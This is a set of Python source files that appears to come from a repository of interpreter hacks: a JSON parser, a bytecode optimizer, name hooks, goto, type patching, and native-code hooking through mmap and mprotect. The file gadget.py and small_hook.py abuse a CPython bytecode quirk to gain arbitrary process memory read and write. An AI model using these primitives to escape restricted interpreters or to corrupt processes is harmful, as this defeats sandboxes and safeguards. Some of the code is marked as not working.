40 | obj = {} 41 | while src and src[-1] != '}': 42 | key = read_str(src) 43 | src[:] = ''.join(src).rstrip() 44 | check(src, ':', 'Invalid Seperator in Object') 45 | value = read(src) 46 | obj[key] = value 47 | src[:] = ''.join(src).rstrip() 48 | if check(src, ',}', 'Missing Object Terminator or Seperator') == '}': 49 | break 50 | src[:] = ''.join(src).rstrip() 51 | else: 52 | check(src, "}", 'Missing Object Terminator') 53 | return obj 54 | 55 | def read_array(src): 56 | check(src, '[', 'Missing Array Initializer') 57 | src[:] = ''.join(src).rstrip() 58 | arr = [] 59 | while src and src[-1] != ']': 60 | value = read(src) 61 | arr.append(value) 62 | src[:] = ''.join(src).rstrip() 63 | if check(src, ',]', 'Missing Array Terminator or Seperator') == ']': 64 | break 65 | else: 66 | check(src, ']', 'Missing Array Terminator') 67 | return arr 68 | 69 | def read(src): 70 | src[:] = ''.join(src).rstrip() 71 | assert src, "Not Enough Data" 72 | if src[-1].isdecimal() or src[-1] in '-+.': 73 | return read_num(src) 74 | elif src[-1] in 'tfn': 75 | assert len(src) >= 4, 'Not Enough Characters For Constant' 76 | const = ''.join(src.pop() for _ in range(4)) 77 | if const == 'true': 78 | return True 79 | elif const == 'null': 80 | return None 81 | next = check(src, 'e', "Invalid Constant") 82 | if const + next == 'false': 83 | return False 84 | assert False, "Failed to Parse Constant" 85 | parse_func = { 86 | '"': read_str, 87 | '{': read_object, 88 | '[': read_array 89 | }.get(src[-1]) 90 | if parse_func: 91 | return parse_func(src) 92 | assert False, "Invalid JSON" 93 | 94 | def parse(inp): 95 | src = [*inp[::-1]] 96 | ret = read(src) 97 | src = ''.join(src).rstrip() 98 | assert not src, "Extra Data Remaining" 99 | return ret 100 | -------------------------------------------------------------------------------- /optimizer.py: -------------------------------------------------------------------------------- 1 | # STRATEGIES 2 | # - builtin methods: 3 | # set.add, SET_ADD 4 | # set.update, SET_UPDATE 5 | # list.append, LIST_APPEND 6 | # list.extend, LIST_EXTEND 7 | # dict.update, DICT_UPDATE 8 | 9 | ''' 10 | Optimizes some basic constructs to use native bytecode 11 | ''' 12 | 13 | import dis 14 | 15 | patterns = { 16 | (set, 'add'): dis.opmap['SET_ADD'], 17 | (set, 'update'): dis.opmap['SET_UPDATE'], 18 | (list, 'append'): dis.opmap['LIST_APPEND'], 19 | (list, 'extend'): dis.opmap['LIST_EXTEND'], 20 | (dict, 'update'): dis.opmap['DICT_UPDATE'] 21 | } 22 | 23 | def infer_types(code_obj): 24 | flags = { 25 | 'SET_ADD': set, 26 | 'SET_UPDATE': set, 27 | 'LIST_APPEND': list, 28 | 'LIST_EXTEND': list, 29 | 'DICT_UPDATE': dict, 30 | 'BUILD_LIST': list, 31 | 'BUILD_MAP': dict, 32 | 'BUILD_SET': set, 33 | 'BUILD_TUPLE': tuple 34 | } 35 | typ_map = {} 36 | instrucs = [*dis.get_instructions(code_obj)] 37 | for idx, inst in enumerate(instrucs): 38 | if inst.opname == 'STORE_FAST' and (typ := flags.get(instrucs[idx-2].opname if instrucs[idx-1].opname == 'DUP_TOP' else instrucs[idx-1].opname)): 39 | # look for `STORE_FAST` preceded by any `flag` 40 | # if a name is used twice for 2 types, then we don't optimize for that name 41 | if inst.argval not in typ_map: 42 | typ_map[inst.argval] = typ 43 | else: 44 | typ_map[inst.argval] = None 45 | for key, val in typ_map.copy().items(): 46 | if val is None: 47 | del typ_map[key] 48 | return typ_map 49 | 50 | def optimize_for(code_obj, name, typ): 51 | co_code = bytearray(code_obj.co_code) 52 | for idx in range(0, len(co_code), 2): 53 | op, arg = co_code[idx:idx + 2] 54 | if dis.opname[op] == 'CALL_METHOD' and arg == 1: 55 | sidx = idx 56 | while dis.opname[co_code[sidx]] != 'LOAD_METHOD': 57 | sidx -= 2 58 | if (op_name := dis.opname[co_code[sidx - 2]]).startswith('LOAD_') and op_name != 'LOAD_CONST': 59 | if op_name == 'LOAD_FAST': 60 | if code_obj.co_varnames[co_code[sidx - 1]] != name: 61 | continue 62 | else: 63 | if code_obj.co_names[co_code[sidx - 1]] != name: 64 | continue 65 | meth_name = code_obj.co_names[co_code[sidx + 1]] 66 | if new_op := patterns.get((typ, meth_name)): 67 | # replace `LOAD_METHOD` with `NOP` 68 | # replace `CALL_METHOD` with `new_op` 69 | co_code[sidx] = dis.opmap['NOP'] 70 | co_code[idx] = new_op 71 | 72 | return code_obj.replace(co_code=bytes(co_code)) 73 | 74 | def optimize(*args, **kwargs): 75 | def wp(func): 76 | func.__typs__ = kwargs | func.__annotations__ | infer_types(func) 77 | for name, typ in func.__typs__.items(): 78 | func.__code__ = optimize_for(func.__code__, name, typ) 79 | return func 80 | if len(args)==1: 81 | return wp(args[0]) 82 | return wp 83 | 84 | @optimize 85 | def f(x: list): 86 | for i in x.copy(): 87 | x.append(i) 88 | return x 89 | 90 | from timeit import timeit 91 | 92 | graph = { 93 | 'A' : ['B','C'], 94 | 'B' : ['D', 'E'], 95 | 'C' : ['F'], 96 | 'D' : [], 97 | 'E' : ['F'], 98 | 'F' : [] 99 | } 100 | 101 | def bfs(graph=graph, node='A'): 102 | visited = [node] 103 | queue = [node] 104 | 105 | while queue: 106 | s = queue.pop(0) 107 | #print(s, end=" ") 108 | 109 | for neighbour in graph[s]: 110 | if neighbour not in visited: 111 | visited.append(neighbour) 112 | queue.append(neighbour) 113 | 114 | print('reg:', timeit(bfs)) 115 | print('opt:', timeit(optimize(bfs))) 116 | -------------------------------------------------------------------------------- /name_hooks.py: -------------------------------------------------------------------------------- 1 | from ctypes import py_object, c_char 2 | import atexit, builtins, sys, dis 3 | 4 | ''' 5 | Allows for running an aribitrary function when a name is not found dynamically 6 | ''' 7 | 8 | def init_missing_hook(dct, func): 9 | ob_base_p = py_object.from_address(id(dct) + 8) 10 | class missing_hook(dict): 11 | __slots__ = () 12 | def __missing__(self, key, ob_base_p=ob_base_p, builtins=builtins): 13 | try: 14 | ob_base_p.value = builtins.dict 15 | return (builtins.__dict__ | self)[key] 16 | except KeyError: 17 | return func(self, key) 18 | finally: 19 | ob_base_p.value = __class__ 20 | 21 | ob_base_p.value = missing_hook 22 | 23 | @atexit.register 24 | def unhook(): 25 | ob_base_p.value = dict 26 | return unhook 27 | 28 | def builtinexc(exc, depth=1): 29 | frame = sys._getframe(1 + depth) 30 | addr = id(frame.f_code.co_code) + bytes.__basicsize__ - 1 31 | mem = (c_char * len(frame.f_code.co_code)).from_address(addr) 32 | mem[frame.f_lasti + 2:frame.f_lasti + 4] = bytes([dis.opmap['RAISE_VARARGS'], 1]) 33 | return exc 34 | 35 | # modified from https://ao.gl/how-to-convert-numeric-words-into-numbers-using-python/ 36 | def parse_int(dct, textnum, numwords={}): 37 | if not numwords: 38 | units = [ 39 | "zero", "one", "two", "three", "four", "five", "six", "seven", "eight", 40 | "nine", "ten", "eleven", "twelve", "thirteen", "fourteen", "fifteen", 41 | "sixteen", "seventeen", "eighteen", "nineteen", 42 | ] 43 | tens = ["", "", "twenty", "thirty", "forty", "fifty", "sixty", "seventy", "eighty", "ninety"] 44 | scales = ["hundred", "thousand", "million", "billion", "trillion"] 45 | numwords["and"] = (1, 0) 46 | for idx, word in enumerate(units): numwords[word] = (1, idx) 47 | for idx, word in enumerate(tens): numwords[word] = (1, idx * 10) 48 | for idx, word in enumerate(scales): numwords[word] = (10 ** (idx * 3 or 2), 0) 49 | 50 | current = result = 0 51 | for word in textnum.split('_'): 52 | if word not in numwords: 53 | return builtinexc(NameError(f"name {textnum!r} is not defined"), 2) 54 | scale, increment = numwords[word] 55 | current = current * scale + increment 56 | if scale > 100: 57 | result += current 58 | current = 0 59 | return result + current 60 | 61 | def lexical_literals(): 62 | ''' 63 | allows for english numbers to be expressed by words dynamically 64 | ie: 65 | one -> 1 66 | one_hundred_and_seven -> 107 67 | ''' 68 | init_missing_hook(sys._getframe(1).f_globals, parse_int) 69 | 70 | def advanced_name_error(dct, name): 71 | for mapping in [sys._getframe(2).f_locals, dct]: 72 | for key in mapping: 73 | if name.lower() == key.lower(): 74 | return builtinexc(NameError(f'name {name!r} is not defined, did you mean {key!r}'), 2) 75 | if name in sys.modules: 76 | return builtinexc(NameError(f'module {name!r} is not imported here'), 2) 77 | for modname, mod in sys.modules.items(): 78 | if getattr(mod, name, None): 79 | return builtinexc(NameError(f'name {name!r} is not defined here, but is defined in module {modname!r}'), 2) 80 | return builtinexc(NameError(f'name {name!r} is not defined'), 2) 81 | 82 | def better_name_errors(): 83 | ''' 84 | provides some slightly more user friendly Name errors 85 | ''' 86 | init_missing_hook(sys._getframe(1).f_globals, advanced_name_error) 87 | 88 | import warnings, importlib.util 89 | def auto_import(dct, name): 90 | if importlib.util.find_spec(name): 91 | warnings.warn(f'implicitly importing module {name!r}', RuntimeWarning, 3) 92 | mod = __import__(name) 93 | dct[name] = mod 94 | return mod 95 | else: 96 | return builtinexc(NameError(f'name {name!r} is not defined'), 2) 97 | 98 | def implicit_imports(): 99 | ''' 100 | implicitly import modules 101 | ''' 102 | init_missing_hook(sys._getframe(1).f_globals, auto_import) 103 | -------------------------------------------------------------------------------- /fishhook_asm/execAsm.py: -------------------------------------------------------------------------------- 1 | from asm import COMPILER, DECOMPILER, addressof 2 | 3 | import ctypes as CT 4 | from mmap import * 5 | libc = CT.cdll.LoadLibrary(None) 6 | 7 | errno = CT.c_int.in_dll(CT.pythonapi,"errno") 8 | 9 | def errcheck(ret, func, args): 10 | if ret == -1: 11 | e = errno.value 12 | raise OSError(e) 13 | return ret 14 | 15 | mprotect = libc.mprotect 16 | mprotect.argtypes = (CT.c_void_p, CT.c_size_t, CT.c_int) 17 | mprotect.restype = CT.c_int 18 | mprotect.errcheck = errcheck 19 | 20 | mmap = libc.mmap 21 | mmap.restype = CT.c_void_p 22 | mmap.argtypes = (CT.c_void_p, CT.c_size_t, 23 | CT.c_int, CT.c_int, 24 | CT.c_int, CT.c_size_t) 25 | 26 | mmap.errcheck = errcheck 27 | 28 | munmap = libc.munmap 29 | munmap.restype = CT.c_int 30 | munmap.argtypes = (CT.c_void_p, CT.c_size_t) 31 | 32 | munmap.errcheck = errcheck 33 | 34 | def execASM(asm, *args, restype=CT.c_int, argtypes=()): 35 | if isinstance(asm, str): 36 | asm_l, _ = COMPILER.asm(asm) 37 | asm = bytes(asm_l) 38 | code_address = mmap(None, len(asm), 39 | PROT_READ | PROT_EXEC, 40 | MAP_PRIVATE | MAP_ANONYMOUS, 41 | -1, 0) 42 | mprotect(code_address, len(asm), PROT_READ | PROT_WRITE) 43 | (CT.c_char * len(asm)).from_address(code_address)[:] = asm 44 | mprotect(code_address, len(asm), PROT_READ | PROT_EXEC) 45 | try: 46 | func = CT.cast(code_address, CT.CFUNCTYPE(restype, *argtypes)) 47 | func.errcheck = errcheck 48 | return func(*args) 49 | finally: 50 | munmap(code_address, len(asm)) 51 | 52 | def disassemble_func(cfunc, length=0x20, offset=0): 53 | mem = (CT.c_char * length).from_address(addressof(cfunc) + offset) 54 | for (address, size, mnemonic, op_str) in DECOMPILER.disasm_lite(mem, 0x0): 55 | print("0x%x:\t%s\t%s" %(address, mnemonic, op_str)) 56 | 57 | def call_function(address, *args, **kwargs): 58 | asm = ''' 59 | ldr x8, .+8 60 | br x8 61 | ''' 62 | ops, _ = COMPILER.asm(asm) 63 | asm = bytes(ops) + address.to_bytes(8, 'little') 64 | return execASM(asm, *args, **kwargs) 65 | 66 | def call_syscall(num, *args, **kwargs): 67 | asm = f''' 68 | mov x16, #{hex(num)} 69 | svc #0x80 70 | ret 71 | ''' 72 | ops, _ = COMPILER.asm(asm) 73 | asm = bytes(ops) 74 | return execASM(asm, *args, **kwargs) 75 | 76 | PAGE_SIZE = libc.getpagesize() 77 | MEM_READ = 1 78 | MEM_WRITE = 2 79 | MEM_EXEC = 4 80 | 81 | def my_mprotect(address, size, prots): 82 | addr_align = address & ~(PAGE_SIZE - 1) 83 | mem_end = (address + size) & ~(PAGE_SIZE - 1) 84 | if (address + size) > mem_end: 85 | mem_end += PAGE_SIZE 86 | memlen = mem_end - addr_align 87 | print(hex(address)) 88 | print(hex(memlen)) 89 | print(hex(prots)) 90 | return call_function(addressof(mprotect), addr_align, memlen, prots, argtypes=(CT.c_void_p, CT.c_size_t, CT.c_int)) 91 | 92 | B = bytes(range(255)) 93 | #print(my_mprotect(id(B), 5, MEM_READ)) 94 | 95 | def test_asm(target_addr, size, src_addr): 96 | addr_align = target_addr & ~(PAGE_SIZE - 1) 97 | mem_end = (target_addr + size) & ~(PAGE_SIZE - 1) 98 | if (target_addr + size) > mem_end: 99 | mem_end += PAGE_SIZE 100 | memlen = mem_end - addr_align 101 | x0 = addressof(mprotect) 102 | x1 = addr_align 103 | x2 = memlen 104 | x3 = PROT_READ | PROT_WRITE 105 | x4 = PROT_READ | PROT_EXEC 106 | x5 = src_addr 107 | x6 = size 108 | x7 = target_addr 109 | # does not work fml 110 | # need to save LR before BL instruction? 111 | # might be better to use system call directly? 112 | asm = ''' 113 | mov x8, x0; 114 | mov x0, x1; 115 | mov x1, x2; 116 | mov x2, x3; 117 | bl x8; 118 | write_loop: 119 | cmp x6, xzr; 120 | be done; 121 | ldrb x3, [x5]; 122 | strb x3, [x7]; 123 | sub x5, x5, #1; 124 | sub x7, x7, #1; 125 | sub x6, x6, #1; 126 | b write_loop; 127 | done: 128 | mov x2, x4; 129 | bl x8; 130 | ret 131 | ''' 132 | return execASM( 133 | asm, 134 | x0, x1, 135 | x2, x3, 136 | x4, x5, 137 | x6, x7, 138 | argtypes=[CT.c_void_p] * 8) -------------------------------------------------------------------------------- /gadget.py: -------------------------------------------------------------------------------- 1 | # allows for reading and writing an object to the 3rd pointer of an object 2 | # *(object + 2 * sizeof(c_void_p)) = n 3 | # WARNING: python3 calls `Py_INCREF` and `Py_XDECREF` on passed in and replaced object respectively 4 | 5 | # the following code exploits an optimzation in cpython 3.9+ bytecode 6 | # by replacing the opcode `LOAD_CLOSURE` (0x87) with `LOAD_DEREF` (0x88) 7 | # this means that python will instead load the value of the closure instead of the closure itself 8 | # it is possible to construct a python function that has an arbitrary object 9 | # that it will use as a closure 10 | # inside that python function, this means that calls to `LOAD_DEREF` (0x88) and `STORE_DEREF` (0x89) 11 | # will attempt to use the arbitrary object as a closure, including reading and writing to 12 | # the third pointer respectively 13 | # this works because cpython uses `PyCell_GET` and `PyCell_SET` macros in these opcode paths 14 | # instead of the type protected functions for optimzation 15 | 16 | # C source for reference 17 | # --* Include/cellobject.h *-- 18 | # typedef struct { 19 | # PyObject_HEAD 20 | # PyObject *ob_ref; 21 | # } PyCellObject; 22 | # #define PyCell_GET PyCell_GET(op) (((PyCellObject *)(op))->ob_ref) 23 | # #define PyCell_SET(op, v) ((void)(((PyCellObject *)(op))->ob_ref = v)) 24 | 25 | # --* Python/ceval.c *-- 26 | # case TARGET(LOAD_DEREF): { 27 | # PyObject *cell = freevars[oparg]; 28 | # PyObject *value = PyCell_GET(cell); 29 | # if (value == NULL) { 30 | # format_exc_unbound(tstate, co, oparg); 31 | # goto error; 32 | # } 33 | # Py_INCREF(value); 34 | # PUSH(value); 35 | # DISPATCH(); 36 | # } 37 | # 38 | # case TARGET(STORE_DEREF): { 39 | # PyObject *v = POP(); 40 | # PyObject *cell = freevars[oparg]; 41 | # PyObject *oldobj = PyCell_GET(cell); 42 | # PyCell_SET(cell, v); 43 | # Py_XDECREF(oldobj); 44 | # DISPATCH(); 45 | # } 46 | 47 | def gadget(magic): 48 | def hack(): 49 | def get(): 50 | return magic 51 | def set(*value): 52 | nonlocal magic 53 | if value: 54 | magic = value[0] 55 | else: 56 | del magic 57 | return get, set 58 | return hack() 59 | 60 | C = gadget.__code__ 61 | gadget.__code__ = C.replace( 62 | co_code=b'\x88' + C.co_code[1:] 63 | ) 64 | 65 | def cast(v, t1, t2, bufsize=tuple.__itemsize__): 66 | # uses `memoryview` to convert an object `v` from type `t1` to type `t2` 67 | # note that memoryviews can only write to the passed in buffer 68 | # used in this code to get the double representation of 8 byte ints 69 | conv = memoryview(bytearray(bufsize)) 70 | conv.cast(t1)[0] = v 71 | return conv.cast(t2)[0] 72 | 73 | def set_obj_at_addr(addr, obj): 74 | # uses `complex` to build a list-like structure 75 | g, s = gadget(list.__setitem__) 76 | s(complex) 77 | list.__setitem__(complex( 78 | cast(1, 'l', 'd'), 79 | cast(addr, 'l', 'd') 80 | ), 0, obj) 81 | s(list) 82 | 83 | def get_obj_at_addr(addr): 84 | # uses `float` as a cell-like structure 85 | g, s = gadget(cast(addr, 'l', 'd')) 86 | return g() 87 | 88 | def addressof(obj): 89 | # uses `float` as a cell-like structure 90 | r = 0.0 91 | g, s = gadget(r) 92 | s(obj) 93 | try: 94 | return cast(r, 'd', 'l') 95 | finally: 96 | s() 97 | 98 | # from here you can get full python process memory r/w 99 | # by constructing a fake bytearray that points from 0 to 2**63-1 and using `get_obj_at_addr` 100 | # to load it. subsequent `fake_bytearray[addr]` will be able to read and write single bytes 101 | # you can also write to a slice `fake_bytearray[addr: addr + size]` to write `size` bytes at once 102 | 103 | # construct recursive tuple without full memory access 104 | x = (0,) 105 | print(x) 106 | set_obj_at_addr(addressof(x) + tuple.__basicsize__, x) 107 | print(x) 108 | 109 | # example of full memory access: 110 | memory_backing = bytes(8) \ 111 | + addressof(bytearray).to_bytes(8, 'little') \ 112 | + bytes([255] * (7) + [127]) \ 113 | + bytes(32) 114 | 115 | memory = get_obj_at_addr(addressof(memory_backing) + bytes.__basicsize__ - 1) 116 | 117 | bytes_obj = b'hello world' 118 | print(bytes_obj) 119 | addr = addressof(bytes_obj) + bytes.__basicsize__ - 1 120 | memory[addr: addr + len(bytes_obj)] = b'overwritten' 121 | print(bytes_obj) 122 | -------------------------------------------------------------------------------- /fishhook_asm/asm.py: -------------------------------------------------------------------------------- 1 | import platform 2 | import sys 3 | import os 4 | import capstone as CS 5 | import keystone as KS 6 | import ctypes as CT 7 | 8 | libc = CT.cdll.LoadLibrary(None) 9 | ENDIAN = 'LITTLE' if memoryview(b'\1\0').cast('h')[0]==1 else 'BIG' 10 | BIT_SIZE = sys.maxsize.bit_length() + 1 11 | ARCH = platform.machine().upper() 12 | if ARCH == 'AMD64' or 'X86' in ARCH: 13 | ARCH = 'X86' 14 | 15 | if ARCH == 'AARCH64': 16 | ARCH = 'ARM64' 17 | 18 | assert ARCH in ['ARM64', 'X86'], f'Unsupported/Untested Architecture: {ARCH}' 19 | 20 | formats = { 21 | 'ARM64': 'b #{offset}', 22 | 'X86': 'jmp [{offset}]' 23 | } 24 | 25 | def addressof(cfunc): 26 | ptr = CT.c_void_p.from_address(CT.addressof(cfunc)) 27 | return ptr.value 28 | 29 | def maketools(): 30 | cs_arch = getattr(CS, f'CS_ARCH_{ARCH}') 31 | cs_mode = getattr(CS, f'CS_MODE_{ENDIAN}_ENDIAN') 32 | ks_arch = getattr(KS, f'KS_ARCH_{ARCH}') 33 | ks_mode = getattr(KS, f'KS_MODE_{ENDIAN}_ENDIAN') 34 | if ARCH == 'X86': 35 | cs_mode += getattr(CS, f'CS_MODE_{BIT_SIZE}') 36 | ks_mode += getattr(KS, f'KS_MODE_{BIT_SIZE}') 37 | 38 | return CS.Cs(cs_arch, cs_mode), KS.Ks(ks_arch, ks_mode), formats[ARCH] 39 | 40 | DECOMPILER, COMPILER, JMP_ASM = maketools() 41 | 42 | def getmem(addr, size): 43 | return (CT.c_char * size).from_address(addr) 44 | 45 | errno = CT.c_int.in_dll(CT.pythonapi,"errno") 46 | 47 | def errcheck(ret, func, args): 48 | if ret == -1: 49 | e = errno.value 50 | raise OSError(e) 51 | return ret 52 | 53 | def build_writeASM(): 54 | if os.name == 'nt': 55 | PAGE_EXECUTE_READ = 0x20 56 | PAGE_READWRITE = 0x04 57 | VirtualProtect = CT.windll.kernel32.VirtualProtect 58 | VirtualProtect.argtypes = [CT.c_void_p, CT.c_size_t, CT.c_int, CT.POINTER(CT.c_int)] 59 | def writeASM(address, asm): 60 | mem = getmem(address, len(asm)) 61 | old = CT.c_int(1) 62 | VirtualProtect(address, len(asm), PAGE_READWRITE, CT.pointer(old)) 63 | try: 64 | return mem.raw 65 | finally: 66 | mem[:] = asm 67 | VirtualProtect(address, len(asm), PAGE_EXECUTE_READ, CT.pointer(old)) 68 | 69 | else: 70 | PAGE_SIZE = libc.getpagesize() 71 | MEM_READ = 1 72 | MEM_WRITE = 2 73 | MEM_EXEC = 4 74 | 75 | libc.mprotect.argtypes = (CT.c_void_p, CT.c_size_t, CT.c_int) 76 | libc.mprotect.restype = CT.c_int 77 | libc.mprotect.errcheck = errcheck 78 | 79 | def writeASM(address, asm): 80 | mem = getmem(address, len(asm)) 81 | addr_align = address & ~(PAGE_SIZE - 1) 82 | mem_end = (address + len(asm)) & ~(PAGE_SIZE - 1) 83 | if (address + len(asm)) > mem_end: 84 | mem_end += PAGE_SIZE 85 | memlen = mem_end - addr_align 86 | try: 87 | return mem.raw 88 | finally: 89 | libc.mprotect(addr_align, memlen, MEM_READ | MEM_WRITE) 90 | mem[:] = asm 91 | libc.mprotect(addr_align, memlen, MEM_READ | MEM_EXEC) 92 | 93 | return writeASM 94 | 95 | writeASM = build_writeASM() 96 | 97 | def hook(cfunc, restype=CT.c_int, argtypes=()): 98 | cfunctype = CT.PYFUNCTYPE(restype, *argtypes) 99 | cfunc.restype, cfunc.argtypes = restype, argtypes 100 | o_ptr = addressof(cfunc) 101 | def wrapper(func): 102 | @cfunctype 103 | def injected(*args, **kwargs): 104 | try: 105 | writeASM(o_ptr, default) 106 | return func(*args, **kwargs) 107 | finally: 108 | writeASM(o_ptr, jmp) 109 | n_ptr = addressof(injected) 110 | jmp_b, _ = COMPILER.asm(JMP_ASM.format(offset=hex(n_ptr - o_ptr))) 111 | jmp = bytes(jmp_b) 112 | default = writeASM(o_ptr, jmp) 113 | def unhook(): 114 | writeASM(o_ptr, default) 115 | injected.unhook = unhook 116 | return injected 117 | return wrapper 118 | 119 | input() 120 | #@hook(CT.pythonapi.PyDict_SetDefault, restype=CT.py_object, argtypes=[CT.py_object, CT.py_object, CT.py_object]) 121 | #def setdefault(self, key, value): 122 | # if key == 'MAGICVAL': 123 | # return self 124 | # 125 | # return CT.pythonapi.PyDict_SetDefault(self, key, value) 126 | 127 | #CT.pythonapi.PyUnicode_InternFromString.restype = CT.py_object 128 | #interned = CT.pythonapi.PyUnicode_InternFromString(b'MAGICVAL') 129 | #setdefault.unhook() 130 | #print(interned) -------------------------------------------------------------------------------- /small_hook.py: -------------------------------------------------------------------------------- 1 | BYTES_HEADER = bytes.__basicsize__ - 1 2 | PTR_SIZE = tuple.__itemsize__ 3 | ENDIAN = ['big','little'][memoryview(b'\1\0').cast('h')[0]&0xff] 4 | 5 | Py_TPFLAGS_VALID_VERSION_TAG = 1 << 19 6 | Py_TPFLAGS_IMMUTABLETYPE = 1 << 8 # 3.10 7 | Py_TPFLAGS_HEAPTYPE = 1 << 9 8 | 9 | def sizeof(obj): 10 | return type(obj).__sizeof__(obj) 11 | 12 | def make_getmem(): 13 | load_addr = type(m:=lambda n,s:lambda v:s(v)or n)( 14 | (M:=m.__code__).replace( 15 | co_code=b'\x88'+M.co_code[1:] 16 | ),{} 17 | )(r:=iter(range(2**63-1)),r.__setstate__) 18 | 19 | memory_backing = bytes(PTR_SIZE) \ 20 | + id(bytearray).to_bytes(PTR_SIZE, ENDIAN) \ 21 | + bytes([255] * (PTR_SIZE - 1) + [127]) \ 22 | + bytes(PTR_SIZE * 4) 23 | 24 | memory = memoryview(load_addr(id(memory_backing) + BYTES_HEADER)) 25 | 26 | def getmem(start, size, fmt='c', _=memory_backing): 27 | return memory[start:start + size].cast(fmt) 28 | 29 | return getmem 30 | 31 | getmem = make_getmem() 32 | 33 | def alloc(size, _storage=[]): 34 | _storage.append(bytes(size)) 35 | return id(_storage[-1]) + BYTES_HEADER 36 | 37 | def PyType_Modified(cls): 38 | cls_mem = getmem(id(cls), sizeof(cls), 'P') 39 | flags = cls.__flags__ 40 | flag_offset = [*cls_mem].index(flags) 41 | if not cls.__flags__ & Py_TPFLAGS_VALID_VERSION_TAG: 42 | return 43 | for subcls in type(cls).__subclasses__(cls): 44 | PyType_Modified(subcls) 45 | cls_mem[flag_offset] &= ~Py_TPFLAGS_VALID_VERSION_TAG 46 | 47 | def get_structs(htc=type('',(),{'__slots__':()})): 48 | htc_mem = getmem(id(htc), sizeof(htc), 'P') 49 | last = None 50 | for ptr, idx in sorted([(ptr, idx) for idx, ptr in enumerate(htc_mem) 51 | if id(htc) < ptr < id(htc) + sizeof(htc)]): 52 | if last: 53 | offset, lp = last 54 | yield offset, ptr - lp 55 | last = idx, ptr 56 | 57 | def allocate_structs(cls): 58 | cls_mem = getmem(id(cls), sizeof(cls), 'P') 59 | for offset, size in get_structs(): 60 | cls_mem[offset] = cls_mem[offset] or alloc(size) 61 | for subcls in type(cls).__subclasses__(cls): 62 | allocate_structs(subcls) 63 | return cls_mem 64 | 65 | cache = {} 66 | hooks = {} 67 | 68 | def call_unprotected(func, cls, *args): 69 | cls_mem = allocate_structs(cls) 70 | flags = cls.__flags__ 71 | flag_offset = [*cls_mem].index(flags) 72 | try: 73 | cls_mem[flag_offset] |= Py_TPFLAGS_HEAPTYPE 74 | cls_mem[flag_offset] &= ~Py_TPFLAGS_IMMUTABLETYPE 75 | func(cls, *args) 76 | finally: 77 | cls_mem[flag_offset] = flags 78 | PyType_Modified(cls) 79 | 80 | def hook(cls, name=None, attr=None): 81 | def wrapper(attr): 82 | nonlocal name 83 | name = name or attr.__name__ 84 | sentinel = object() 85 | old_val = cache.setdefault(cls,{}).get(name, sentinel) 86 | if old_val is not sentinel or hooks.get(cls, {}).get(name): 87 | raise RuntimeError(f'cannot re-hook {cls.__name__}.{name}') 88 | try: 89 | orig_value = cache.setdefault(cls,{})[name] = getattr(cls, name) 90 | except AttributeError: 91 | orig_value = sentinel 92 | if callable(attr): 93 | def hwrapper(*args, **kwargs): 94 | if not hwrapper.enabled: 95 | if orig_value is not sentinel: 96 | return orig_value(*args, **kwargs) 97 | else: 98 | return NotImplemented 99 | try: 100 | hwrapper.enabled = False 101 | return attr(*args, **kwargs) 102 | finally: 103 | hwrapper.enabled = True 104 | hwrapper.enabled = True 105 | hooks.setdefault(cls, {})[name] = hwrapper 106 | call_unprotected(setattr, cls, name, hwrapper) 107 | else: 108 | call_unprotected(setattr, cls, name, attr) 109 | return attr 110 | if attr is None: 111 | return wrapper 112 | else: 113 | return wrapper(attr) 114 | 115 | def restore_attr(cls, name): 116 | try: 117 | call_unprotected(setattr, cls, name, cache[cls].pop(name)) 118 | if name in hooks.get(cls,{}): 119 | del hooks[cls][name] 120 | except KeyError: 121 | raise RuntimeError(f'{cls.__name__}.{name} not in cache') 122 | 123 | def remove_attr(cls, name): 124 | call_unprotected(delattr, cls, name) 125 | -------------------------------------------------------------------------------- /goto_native.py: -------------------------------------------------------------------------------- 1 | import sys, dis 2 | from types import FunctionType 3 | from functools import partial 4 | from fishhook import hook 5 | 6 | @hook.cls(FunctionType) 7 | class func_hooks: 8 | def with_args(self, *args, **kwargs): 9 | return partial(self, *args, **kwargs) 10 | 11 | def __getattr__(self, attr): 12 | return self, attr 13 | 14 | @hook(partial) 15 | def __getattr__(self, attr): 16 | return self, attr 17 | 18 | def get_dest(frame, lbl): 19 | instructions = [*dis.get_instructions(frame.f_code)] 20 | for idx, i1 in enumerate(instructions): 21 | if i1.opname in ['LOAD_NAME', 'LOAD_GLOBAL'] and i1.argval == 'label': 22 | i2 = instructions[idx + 1] 23 | if i2.opname == 'LOAD_ATTR' and i2.argval == lbl: 24 | if i1.starts_line is not None: 25 | return i1.starts_line 26 | else: 27 | print(f'Warning: label .{lbl} cannot be jumped to') 28 | break 29 | else: 30 | print(f'Warning: label .{lbl} not found') 31 | 32 | def jump(code, lbl, frame=None): 33 | def jumper(frame, event, arg): 34 | if event == 'line' and frame.f_code == code: 35 | dest = get_dest(frame, lbl) 36 | dest = odest = dest if dest is not None else frame.f_lineno 37 | haserr = True 38 | while haserr: 39 | try: 40 | frame.f_lineno = dest 41 | haserr = False 42 | except ValueError as err: 43 | dest -= 1 44 | if odest != dest: 45 | # we had to change destinations to satisfy stack level, try again on next frame 46 | # we don't return a trace function to get to next frame faster 47 | jump(code, lbl) 48 | else: 49 | sys.settrace(global_trace) 50 | return global_trace 51 | return jumper 52 | if frame: 53 | frame.f_trace = jumper 54 | sys.settrace(jumper) 55 | 56 | class GotoFunctionProxy: 57 | def __init__(self, func): 58 | self.func = func 59 | self.args = () 60 | self.kwargs = {} 61 | 62 | def with_args(self, *args, **kwargs): 63 | self.args = args 64 | self.kwargs = kwargs 65 | return self 66 | 67 | def __getattr__(self, attr): 68 | jump(self.func.__code__, attr) 69 | return self.func(*self.args, **self.kwargs) 70 | 71 | class Goto: 72 | def __getattr__(self, key): 73 | if isinstance(key, tuple): 74 | func, lbl = key 75 | if isinstance(func, partial): 76 | unbound = func.func 77 | else: 78 | unbound = func 79 | jump(unbound.__code__, lbl) 80 | return func() 81 | f_back = sys._getframe(1) 82 | target_function = f_back.f_locals.get(key) or f_back.f_globals.get(key) 83 | if isinstance(target_function, FunctionType): 84 | return GotoFunctionProxy(target_function) 85 | else: 86 | jump(f_back.f_code, key, frame=f_back) 87 | __mul__ = __getattr__ 88 | 89 | class Label: 90 | def __getattr__(*unused): 91 | pass 92 | 93 | def global_trace(*unused): 94 | return global_trace 95 | 96 | goto = Goto() 97 | label = Label() 98 | sys.settrace(global_trace) 99 | 100 | if __name__ == '__main__': 101 | print('| Test Normal Jumps') 102 | x = 0 103 | label .start 104 | print(x) 105 | if x == 10: 106 | goto .end 107 | x += 1 108 | goto .start 109 | label .end 110 | print('| End Test Normal Jumps') 111 